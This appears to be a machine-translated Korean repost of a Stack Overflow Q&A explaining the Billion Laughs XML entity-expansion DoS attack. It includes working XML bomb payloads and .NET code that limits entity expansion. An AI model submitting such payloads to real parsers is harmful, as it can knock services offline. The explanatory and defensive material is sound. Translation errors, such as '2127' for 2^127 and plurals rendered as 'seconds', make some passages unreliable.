수십억 웃음 XML DoS 공격은 어떻게 작동합니까?
<!DOCTYPE root [
<!ENTITY ha "Ha !">
<!ENTITY ha2 "&ha; &ha;">
<!ENTITY ha3 "&ha2; &ha2;">
<!ENTITY ha4 "&ha3; &ha3;">
<!ENTITY ha5 "&ha4; &ha4;">
...
<!ENTITY ha128 "&ha127; &ha127;">
]>
<root>&ha128;</root>
이것은 아마도 10 억 웃음 DoS 공격이라고합니다.
어떻게 작동하는지 아는 사람 있나요?
Billion Laughs 공격은 XML 파서를 대상으로하는 서비스 거부 공격입니다. Billion Laughs 공격은 XML 폭탄이라고도하며 더 심하게 기하 급수적 인 엔티티 확장 공격이라고도합니다. Billion Laughs 공격은 올바른 형식의 XML을 사용하는 경우에도 발생할 수 있으며 XML 스키마 유효성 검사를 통과 할 수도 있습니다.
바닐라 Billion Laughs 공격은 아래 표시된 XML 파일에 설명되어 있습니다.
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
이 예에는 10 개의 다른 XML 엔티티가 있습니다. lol
– lol9
. 첫 번째 엔티티 lol
는 문자열로 정의됩니다 “lol”
. 그러나 다른 엔티티 각각은 다른 엔티티의 10으로 정의됩니다. 이 XML 파일의 문서 내용 섹션에는 엔티티의 한 인스턴스에 대한 참조 만 포함됩니다 lol9
. 그러나 이것이 DOM 또는 SAX 파서에 의해 파싱 될 때 lol9
발견되면 10 lol8
초로 확장되고 각각 10 lol7
초로 확장되는 식 입니다. 모든 것이 텍스트로 확장 될 때까지 lol
100,000,000 개의 문자열 인스턴스가 "lol"
있습니다. 하나 이상의 엔티티가 있거나 lol
10 개의 문자열로 정의 된 경우“lol”
, 10 억 개의 "lol"이 있으므로 공격의 이름이됩니다. 말할 필요도없이,이 많은 확장은 기하 급수적 인 양의 자원과 시간을 소비하여 DOS를 유발합니다.
내 블로그 에 더 광범위한 설명이 있습니다 .
XML 폭탄 중 하나-http: //msdn.microsoft.com/en-us/magazine/ee335713.aspx
이제 공격자는 XML의 이러한 세 가지 속성 (대체 엔터티, 중첩 엔터티 및 인라인 DTD)을 활용하여 악성 XML 폭탄을 만들 수 있습니다. 공격자는 이전 예제와 같이 중첩 된 엔터티가있는 XML 문서를 작성하지만 한 수준 깊이 만 중첩하는 대신 엔터티를 여러 수준 깊이로 중첩합니다.
이러한 "폭탄"(.NET 세계에서)으로부터 보호하는 코드도 있습니다.
XmlReaderSettings settings = new XmlReaderSettings();
settings.ProhibitDtd = false;
settings.MaxCharactersFromEntities = 1024;
XmlReader reader = XmlReader.Create(stream, settings);
<!ENTITY ha "Ha !">
로 &ha;
확장 되는 엔티티를 정의합니다 "Ha !"
. 다음 라인은 다른 엔티티 정의 &ha2;
가 확장되어 "&ha; &ha;"
, 결국 및 "Ha ! Ha !"
.
&ha3;
로 변하는 식으로 Ha ! Ha ! Ha ! Ha !
매번 두 배로 늘어납니다. 패턴을 따르면 &haN;
is "Ha !"
, 2 N-1 번, 따라서은 2127 초로 &ha128
확장되며 , 이는 컴퓨터가 처리하기에는 너무 큽니다. "Ha !"
참조 URL : https://stackoverflow.com/questions/3451203/how-does-the-billion-laughs-xml-dos-attack-work
'IT Share you' 카테고리의 다른 글
이 코드가 Hamcrest의 hasItems 컴파일을 사용하지 않는 이유는 무엇입니까? (0) | 2021.01.07 |
---|---|
UIScrollView-스크롤 막대 표시 (0) | 2021.01.07 |
현재 프로세스가 GDB에서 실행 중인지 감지하는 방법은 무엇입니까? (0) | 2021.01.07 |
다른 모든 함수 호출에 대해 PHP에서 함수를 자동 호출하는 방법 (0) | 2021.01.07 |
GCC Linux에서 기본이 아닌 공유 라이브러리 경로를 지정하는 방법은 무엇입니까? (0) | 2021.01.07 |